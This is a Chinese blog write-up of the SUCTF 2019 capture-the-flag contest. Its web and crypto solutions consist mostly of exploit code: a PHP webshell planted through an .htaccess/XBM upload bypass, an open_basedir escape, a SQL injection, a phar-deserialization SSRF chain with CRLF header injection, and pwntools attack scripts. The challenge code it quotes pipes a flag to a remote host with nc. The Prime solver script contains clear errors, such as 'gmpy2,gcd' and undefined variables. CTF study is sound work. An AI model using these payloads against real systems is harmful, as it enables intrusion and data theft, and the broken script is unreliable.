Xi4or0uji's blog

2019 SUCTF wp

字数统计: 4.1k阅读时长: 21 min
2019/08/25 Share

前段时间还在夏令营,今天终于有空补发一下当初打的很多的比赛了

WEB

checkin

这道题一开始跑偏了,弄了很久.htaccess,最后幡然悔悟,nginx想用.htaccess要改配置文件鸭,网站文件菜鸡控制不了,最后找了一下别的方法,一个菜鸡没见过的东西.user.ini,最后就是绕过上传&执行了

1
http://www.vuln.cn/6001

需要注意的就是他会检测文件内容不能包含<?,所以上马的时候上script马,还有就是会检测文件头,加个GIF89a就行了

EasyPHP

这道题直接给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}

$hhh = @$_GET['_'];

if (!$hhh){
highlight_file(__FILE__);
}

if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

可以看到这题有两个考点,一个是bypass执行eval,另一个是文件上传
第一步的过滤很严,能用的字符不多,函数更是不能用了Orz
后面的文件上传也很严格,文件后缀不能有ph,文件内容不能有<?,文件类型要符合exif_imagetype
先看第一步,剩下的可见字符能入手的估计也就是~^,异或想去利用,一个字符至少得用六个字符去表示,加起来肯定是不够的,函数就更加执行不了了
然后参考微笑师傅的博客,思路清奇

所以接下来考虑变量,因为还有$,然后最短的变量就是$_GET,估计能18位搞定Orz
一波操作以后能构造出

1
2
${%A0%B8%BA%AB^%ff%ff%ff%ff}{%d9}();&%d9=phpinfo
#$_GET[0]&0=phpinfo

无参的函数不多,因此第二步的利用就是要用他给的get_the_flag函数了
第二步的考点估计后缀过滤得那么死,环境还是php7.2,估计得.htaccess,但是怎么满足exif_imagetype呢,这里就需要找一个文件,能同时满足图片和.htaccess文件的格式,而.htaccess文件的不解析符有#\x00,因此我们去找一下有没有什么图片头是有这些符号的
然后这里有个xbm图片,格式如下

1
2
3
4
5
#define test_width 16
#define test_height 7
static char test_bits[] = {
0x13, 0x00, 0x15, 0x00, 0x93, 0xcd, 0x55, 0xa5, 0x93, 0xc5, 0x00, 0x80,
0x00, 0x60 };

所以我们上传.htaccess文件如下

1
2
3
4
5
6
#define width 1337                          # Define the width wanted by the code (and say we are a legit xbitmap file lol)
#define height 1337 # Define the height
AddType application/x-httpd-php .aaa # Say all file with extension .php16 will execute php
php_value zend.multibyte 1 # Active specific encoding (you will see why after :D)
php_value zend.detect_unicode 1 # Detect if the file have unicode content
php_value display_errors 1 # Display php errors

这部分跟直接拿了l33t的脚本去改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
SIZE_HEADER = b'\n\n#define width 1337\n#define height 1337\n\n'
def generate_php_file(filename, script):
phpfile = open(filename, 'wb')
phpfile.write(script.encode('utf-16be'))
phpfile.write(SIZE_HEADER)
phpfile.close()

def generate_htaccess():
htaccess = open('..htaccess', 'wb')
htaccess.write(SIZE_HEADER)
htaccess.write(b'AddType application/x-httpd-php .aaa\n')
htaccess.write(b'php_value zend.multibyte 1\n')
htaccess.write(b'php_value zend.detect_unicode 1\n')
htaccess.write(b'php_value display_errors 1\n')
htaccess.close()

generate_htaccess()
generate_php_file("eval.aaa", "<?php eval($_GET['cmd']); ?>")

上传过去又遇到open_basedir bypass,经典的bypass

1
2
3
4
5
6
7
8
9
<?php
mkdir('/tmp/aaa/');
chdir('/tmp/aaa/');
ini_set('open_basedir'. '..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
var_dump(file_get_contents('/flag'));

easy_sql

这道题菜鸡的解法是非预期…….. 因为运维人员在线vim的时候源码被我们扫到了,所以………

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
if(isset($post['query'])){
$BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";
//var_dump(preg_match("/{$BlackList}/is",$post['query']));
if(preg_match("/{$BlackList}/is",$post['query'])){
//echo $post['query'];
die("Nonono.");
}
if(strlen($post['query'])>40){
die("Too long.");
}
$sql = "select ".$post['query']."||flag from Flag";
mysqli_multi_query($MysqlLink,$sql);
do{
if($res = mysqli_store_result($MysqlLink)){
while($row = mysqli_fetch_row($res)){
print_r($row);
}
}
}while(@mysqli_next_result($MysqlLink));
}

然后看着源码做题很舒服Orz……(逃

官方正解是

1
1; set sql_mode=pipes_as_concat; select 1

学到了(逃

Pythonginx

这题也是给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"

看了源码明显的服务器伪造&文件读取,但是条件要符合有点困难,看到newhost.append(h.encode('idna').decode('utf-8'))这句去github搜了一下,有点惊喜

1
https://github.com/python-hyper/hyperlink/issues/19

然后就是利用了,因为题目提示nginx,所以直接读配置文件找flag

赛后才知道是今年blackhat提到的,还是tcl
顺便贴一个nginx配置目录,溜了

Upload Labs 2

主办方依旧给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
//index.php
include 'class.php';
$userdir = "upload/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
mkdir($userdir, 0777, true);
}
if (isset($_POST["upload"])) {
// 允许上传的图片后缀
$allowedExts = array("gif", "jpeg", "jpg", "png");
$tmp_name = $_FILES["file"]["tmp_name"];
$file_name = $_FILES["file"]["name"];
$temp = explode(".", $file_name);
$extension = end($temp);
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 204800) // 小于 200 kb
&& in_array($extension, $allowedExts)
) {
$c = new Check($tmp_name);
$c->check();
if ($_FILES["file"]["error"] > 0) {
echo "错误:: " . $_FILES["file"]["error"] . "<br>";
die();
} else {
move_uploaded_file($tmp_name, $userdir . "/" . md5($file_name) . "." . $extension);
echo "文件存储在: " . $userdir . "/" . md5($file_name) . "." . $extension;
}
} else {
echo "非法的文件格式";
}
}

//func.php
include 'class.php';
if (isset($_POST["submit"]) && isset($_POST["url"])) {
if(preg_match('/^(ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i',$_POST['url'])){
die("Go away!");
}else{
$file_path = $_POST['url'];
$file = new File($file_path);
$file->getMIME();
echo "<p>Your file type is '$file' </p>";
}
}

//class.php
include 'config.php';
class File{
public $file_name;
public $type;
public $func = "Check";
function __construct($file_name){
$this->file_name = $file_name;
}
function __wakeup(){
$class = new ReflectionClass($this->func);
$a = $class->newInstanceArgs($this->file_name);
$a->check();
}
function getMIME(){
$finfo = finfo_open(FILEINFO_MIME_TYPE); //返回mine类型
$this->type = finfo_file($finfo, $this->file_name);
finfo_close($finfo);
}
function __toString(){
return $this->type;
}
}
class Check{
public $file_name;
function __construct($file_name){
$this->file_name = $file_name;
}
function check(){
$data = file_get_contents($this->file_name);
if (mb_strpos($data, "<?") !== FALSE) {
die("&lt;? in contents!");
}
}
}

//admin.php
include 'config.php';
class Ad{
public $ip;
public $port;
public $clazz;
public $func1;
public $func2;
public $func3;
public $instance;
public $arg1;
public $arg2;
public $arg3;
function __construct($ip, $port, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3){
$this->ip = $ip;
$this->port = $port;
$this->clazz = $clazz;
$this->func1 = $func1;
$this->func2 = $func2;
$this->func3 = $func3;
$this->arg1 = $arg1;
$this->arg2 = $arg2;
$this->arg3 = $arg3;
}
function check(){
$reflect = new ReflectionClass($this->clazz);
$this->instance = $reflect->newInstanceArgs();
$reflectionMethod = new ReflectionMethod($this->clazz, $this->func1);
$reflectionMethod->invoke($this->instance, $this->arg1);
$reflectionMethod = new ReflectionMethod($this->clazz, $this->func2);
$reflectionMethod->invoke($this->instance, $this->arg2[0], $this->arg2[1], $this->arg2[2], $this->arg2[3], $this->arg2[4]);
$reflectionMethod = new ReflectionMethod($this->clazz, $this->func3);
$reflectionMethod->invoke($this->instance, $this->arg3);
}
function __wakeup(){
system("/readflag | nc $this->ip $this->port");
}
}
if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){
if(isset($_POST['admin'])){
$ip = $_POST['ip'];
$port = $_POST['port'];
$clazz = $_POST['clazz'];
$func1 = $_POST['func1'];
$func2 = $_POST['func2'];
$func3 = $_POST['func3'];
$arg1 = $_POST['arg1'];
$arg2 = $_POST['arg2'];
$arg2 = $_POST['arg3'];
$admin = new Ad($ip, $port, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3);
$admin->check();
}
}
else {
echo "You r not admin!";
}

index.php里面上传文件会限制后缀、大小和文件内容,上传了以后func.php可以对文件进行查找,但是过滤得很严,跟过去getMine会看到有个finfo_file函数,利用它去触发反序列化,File类的__wakeup方法也很神奇,通过反射调用check函数,既然是反序列化怎么可能是用回原来的类的,看一下还剩的最后一个类,Ad类明显要ssrf,立刻就想到soap类,而soap类的__call方法则用File类的check去触发,最后Ad类的check触发用splstack::push,这步参考了delta的wp
最后的问题,phar怎么触发呢,这里就是考的就是phar stream wrapper,File类的finfo_open与phar和php://filter有奇效,payload为php://filter/resource=phar://upload/af32ccd1c4bd937e0bd05fcf70528505/bb72f33959b3680b6d3656d5472a8f13.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
class File{

public $file_name;
public $type;
public $func = 'SoapClient';

function __wakeup()
{
$class = new ReflectionClass($this->func);
$a = $class->newInstanceArgs($this->file_name);
$a -> check();
}

function __construct()
{
$target = 'http://127.0.0.1/admin.php';
$post_string = 'admin=&ip=x&port=x&clazz=SplStack&func1=push&func2=push&func3=push&arg1=123&arg2=123&arg3=';
$this->file_name = [null, array("location" => $target, "user_agent" => "exp\r\nContent-Type: application/x-www-form-urlencoded\r\nCookie: profile=1\r\nContent-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string,"uri" => "http://127.0.0.1/")];
}

}

file_put_contents("test.txt", "test");
$e = new File();
unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub('<script language="php">__HALT_COMPILER();</script>');
$phar->setMetadata($e);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
rename("phar.phar", "phar.png");
unlink("test.txt");

这题出题人的思路也很巧妙,后面触发部分考察的是mysql client attack,而mysql在执行real_connect的时候会覆盖前面的mysqli->options

1
2
3
4
5
6
7
8
9
10
11
12
13
$m = new mysqli();
$m->init();
$m->real_connect('ip','select 1','select 1','select 1',3306);
$m->query('select 1;');

$reflect = new ReflectionClass('Mysqli');
$sql = $reflect->newInstanceArgs();
$reflectionMethod = new ReflectionMethod('Mysqli', 'init');
$reflectionMethod->invoke($sql, $arr);
$reflectionMethod = new ReflectionMethod('Mysqli', 'real_connect');
$reflectionMethod->invoke($sql, 'ip','root','123456','test','3306');
$reflectionMethod = new ReflectionMethod('Mysqli', 'query');
$reflectionMethod->invoke($sql, 'select 1');

mysqli->real_connect() overwrites MYSQLI_OPT_LOCAL_INFILE setting

iCloudMusic

这道题菜鸡只能跟着大佬的博客复现,还是太菜了(捂脸
首先下下来一个压缩包,进入resources目录去解压app.asar文件(很奇怪,只能解压win32的压缩包,其他全损坏

解压出来就是审计源码了,list.html里面music_info部分存在js注入

然后就是利用process进行函数劫持触发函数
https://github.com/imagemlt/iCloudMusic

CRYPTO

Prime

给4个n和s,n之间还不互质,所以能求出4个因子,然后就是普通的rsa了,贴个脚本(溜

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
import gmpy2
import libnum
import hashlib
import binascii
from Crypto.Util.number import long_to_bytes
from pwn import *
context.log_level = 'debug'
p = remote("47.111.59.243","8003")
p.recvuntil("str + ")
s = p.recv(4)
p.recvuntil("== ")
md5s = p.recv(5)
def md5(str):
sha = hashlib.md5(str)
e = sha.hexdigest()
return e

for i in range(10000000):
if md5(str(i)+s)[0:5] == md5s:
p.sendline(str(i))
break
p.interactive()

p.recvuntil("cs[0] = ")
cs0 = int(p.recvuntil('\n').strip('\n'),16)
p.recvuntil("ns[0] = ")
ns0 = int(p.recvuntil('\n').strip('\n'),16)
p.recvuntil("cs[1] = ")
cs1 = int(p.recvuntil('\n').strip('\n'),16)
p.recvuntil("ns[1] = ")
ns1 = int(p.recvuntil('\n').strip('\n'),16)
p.recvuntil("cs[2] = ")
cs2 = int(p.recvuntil('\n').strip('\n'),16)
p.recvuntil("ns[2] = ")
ns2 = int(p.recvuntil('\n').strip('\n'),16)
p.recvuntil("cs[3] = ")
cs3 = int(p.recvuntil('\n').strip('\n'),16)
p.recvuntil("ns[3] = ")
ns3 = int(p.recvuntil('\n').strip('\n'),16)
p.recvuntil("ms[0] = ")
cs = []
ns = []

p01 = gmpy2.gcd(ns0, ns1)
p02 - gmpy2.gcd(ns0, ns2)
p03 = gmpy2.gcd(ns0, ns3)
p04 = ns0 / p01 / p02 / p03
d0 = int(gmpy2.invert(ns0, (p01 - 1)*(p02 - 1)*(p03 - 1)*(p04 - 1)))
m1 = pow(cs0, d0, ns0)

p11 = gmpy2.gcd(ns1, ns0)
p12 = gmpy2.gcd(ns1, ns2)
p13 = gmpy2.gcd(ns1, ns3)
p14 = ns1 / p11 / p12 / p13
d1 = int(gmpy2.invert(ns1, (p11 -1)*(p12 - 1)*(p13 - 1)*(p14 - 1)))
m2 = pow(cs1, d1, ns1)

p21 = gmpy2.gcd(ns2, ns0)
p22 = gmpy2.gcd(ns2, ns1)
p23 = gmpy2,gcd(ns2, ns3)
p24 = ns2 / p20 / p21 / p22
d2 = int(gmpy2.invert(ns2, (p21 - 1)*(p22 - 1)*(p23 - 1)*(p24 - 1)))
m3 = pow(cs2, d2, ns2)

p31 = gmpy2.gcd(ns3, ns0)
p32 = gmpy2.gcd(ns3, ns1)
p33 = gmpy2,gcd(ns3, ns2)
p34 = ns3 / p30 / p31 / p32
d3 = int(gmpy2.invert(ns3, (p31 - 1)*(p32 - 1)*(p33 - 1)*(p34 - 1)))
m4 = pow(cs3, d3, nx3)

p.sendline(str(hex(m1)))
p.recvuntil("ms[1] = ")
p.sendline(str(hex(m2)))
p.recvuntil("ms[2] = ")
p.sendline(str(hex(m3)))
p.recvuntil("ms[3] = ")
p.sendline(str(hex(m4)))
p.interactive()

RSA

典型的lsb oracle attack,继续贴脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
# -*- coding: utf-8 -*-
#/usr/bin/env python
import requests
import hashlib
from pwn import *
import libnum
import Crypto
import re
from binascii import hexlify,unhexlify

def md5(str):
sha = hashlib.md5(str)
e = sha.hexdigest()
return e

context.log_level = 'debug'
p = remote("47.111.59.243",9421)
a = p.recvuntil(")")[-5:-1]
print a
b = p.recvuntil("\n")[-6:-1]
print b

md5s = b
for i in range(10000000):
if md5(str(i)+a)[0:5] == md5s:
key = i
break
p.recvuntil("> ")
p.sendline(str(key))

def get_m(n,c,e):
l = 0
r = n
res = c
e = e
for i in range(20):
print (l==r)
if l == r:
break
p.recvuntil("Please input your option:")
p.sendline("D")
res = oracle(res, n, e)
p.sendline(str(res))
p.recvuntil("The plain of your decrypted message is ")
judge = p.recvuntil("!")[:-1]
if judge == "odd":
l = (l + r) / 2
else:
r = (l + r) / 2
print (l==r)
return l

def send_msg(c):
p.recvuntil("Please input your option:")
p.sendline("D")
p.sendline(str(c))
p.recvuntil("The plain of your decrypted message is ")
judge = p.recvuntil("!")[:-1]
if judge == "odd":
return 1
else:
return 0

def lsb_attack(n, e, c):
i = 0
l, r, k = 0, 1, 1
while n * l // k + 1 < n * r //k:
m = l + r
l *= 2
r *= 2
k *= 2
if send_msg(c * pow(k, e, n) % n) == 1: #odd
l = m
else: #even
r = m
m = n * l // k
if pow(m, e, n) == c:
return m
m = n * r // k
if pow(m, e, n) == c:
return m
return None

def test():
p.recvuntil("n = ")
n = int(p.recvline())
p.recvuntil("e = ")
e = int(p.recvline())
p.recvuntil("c = ")
c = int(p.recvline())
key = lsb_attack(n, e, c)
p.recvuntil("Please input your option:")
p.sendline("G")
p.sendline(str(key))

for i in range(3):
key = 0
test()
p.interactive()

DSA

因为有两个相同的r,所以我们可以爆破出符合条件的k,然后加密回去攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#coding=utf8
from Crypto.Hash import SHA
from Crypto.Util.number import long_to_bytes
from pwn import *
from libnum import *
context.log_level = 'debug'

def inv(a, b):
assert gcd(a % b, b) == 1
return xgcd(a % b, b)[0] % q

def decrypt(r, c1, c2, m1, m2, p, q, g, y):
ds = c2 - c1
dm = (m2 - m1) % q
k = dm * inv(ds, q) % q
print "[+]k------->" + str(k)
tmp = k * c1 - m1
x = tmp * inv(r, q) % q
assert pow(g, x, p) == y
return x

def sig(m, x, g, p, q):
k = 151512
r = pow(g, k, p) % q
c = (m + x * r) * inv(k, q) % q
return (r, c)

po = remote("47.111.59.243", "8001")

po.recvuntil("me?")
po.send("\n")

po.recvuntil("p:")
p = int(po.recvuntil("\n").strip("\n"))
po.recvuntil("q:")
q = int(po.recvuntil("\n").strip("\n"))
po.recvuntil("g:")
g = int(po.recvuntil("\n").strip("\n"))
po.recvuntil("y:")
y = int(po.recvuntil("\n").strip("\n"))
md5 = []
rr = []
cc = []
def getdata():
po.recvuntil("digest:")
m = po.recvuntil("(")[1:-1]
md5.append(m)
n = po.recvuntil(",")[:-2]
rr.append(n)
k = po.recvuntil(")")[1:-2]
cc.append(k)
print "md5--->" + m
print "rr--->" + n
print "cc--->" + k
#
po.recvuntil("before:")
po.send("\n")
for i in range(12):
getdata()
po.recvuntil("digest is:")
l = po.recv(40)
print "md5--->" + l
print md5
print rr
print cc
j = 1
for i in range(len(rr)):
for j in range(j,len(rr)):
if rr[i]==rr[j]:
md51 = md5[i]
md52 = md5[j]
rr1 = rr[i]
rr2 = rr[j]
cc1 = cc[i]
cc2 = cc[j]
j = j + 1
print "md51--->" + md51
print "md52--->" + md52
print "rr1--->" + rr1
print "rr2--->" + rr2
print "cc1--->" + cc1
print "cc2--->" + cc2

print "md5555---->" + l

x = decrypt(int(rr1), int(cc1), int(cc2), int(md51), int(md52), p, q, g, y)
res = sig(int(l), x, g, p, q)
print res
po.interactive()

MT

这道题是队友做出来的,tql
convert函数中移位跟与运算看似不可逆,但是每一步都亦或了自己,所以是可逆的,逆回去的基本思路就是根据移位补位上去的0为已知将一个数按二进制位分块,按块求解。比如第一步
m = m ^ m >> 13 我们已知的只有亦或后的结果

往下的几步运算也一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#coding:utf-8
num = 0xaa21f3a2 #641460a9 e3953b1a aa21f3a2
# 0xdc05c2a -> 0xdc05d92
# 0xd6166027 -> 0xd6167ae5
# num -> res
# m = m ^ m >> 19
# 0x6e02前19
# 0x1b8 前13
# 0x1c2a末13
# 验证通过
a = num >> 13#前19bit
b = num >> 19#前13bit
c = num & 0x1fff#亦或后的后13bit
d = b ^c #后13bit
res = (a << 13) + d #第三轮结果
print "third"
print hex(res)
# 验证通过
# 0x56526027 -> 0xd6166027
# second -> third
a = res & 0x1ffff #结果的低17位
p = 0x85d40000
b = (p & 0xfffe0000)>>17 #取p的高15位
c = (res & 0xfffe0000)>>17 #取res的高15位
d = (a & b) ^ c #得到结果的高15位
ans = (d << 17) + a #第二轮结果
print "second"
print hex(ans)
# 验证通过
# 0x6abb523f -> 0x1a3b443f
# second -> first
p = 0x78f39600
a = ans & 0x1ff #结果的低9位
# print "低9位 --> " + hex(a)
b = (p >> 9) & 0x1ff #取p中间的9位
# print "中间9位 --> " + hex(b)
c = (ans >> 9) & 0x1ff
# print "second的中间9位 --> " + hex(c)
d = (a & b) ^ c #结果的中间9位
# print "结果的中间9位 --> " + hex(d)
e = (p >> 18) & 0x1ff #p的倒数第3个9位
# print "p的倒数第3个9位 --> " + hex(e)
f = (ans >> 18) & 0x1ff #ans的倒数第3个9位
# print "ans的倒数第3个9位 --> " + hex(f)
h = (d & e) ^ f #结果的倒数第3个9位
# print "结果的倒数第3个9位 --> " + hex(h)
i = h & 0x1f #取5位
j = p >> 27 #p的高5位
k = ans >> 27 #ans 的高5位
l = (i & j) ^ k #结果的高5位
# print "结果的高5位 --> " + hex(l)
res = (l << 27) + (h << 18) + (d << 9) + a#第一轮结果
print "first"
print hex(res)
# 验证通过
a = res >> 19#结果的高13位
# print "结果的高13位 --> " + hex(a)
b = (res >> 6) & 0x1fff #res的中间13位
# print "res的中间13位 --> " + hex(b)
c = a ^ b #结果的中间13位
# print "结果的中间13位 --> " + hex(c)
d = c >> 7 #取6位
e = res & 0x3f
f = d ^ e # 结果的低6位
# print "结果的低6位 --> " + hex(f)
ans = (a << 19) + (c << 6) + f #一段flag
print "flag"
print hex(ans)

参考

https://blog.zeddyu.info/2019/08/24/SUCTF-2019/
https://xz.aliyun.com/t/6042
https://www.cnblogs.com/wfzWebSecuity/p/11207145.html

CATALOG
  1. 1. WEB
    1. 1.1. checkin
    2. 1.2. EasyPHP
    3. 1.3. easy_sql
    4. 1.4. Pythonginx
    5. 1.5. Upload Labs 2
    6. 1.6. iCloudMusic
  2. 2. CRYPTO
    1. 2.1. Prime
    2. 2.2. RSA
    3. 2.3. DSA
    4. 2.4. MT
  3. 3. 参考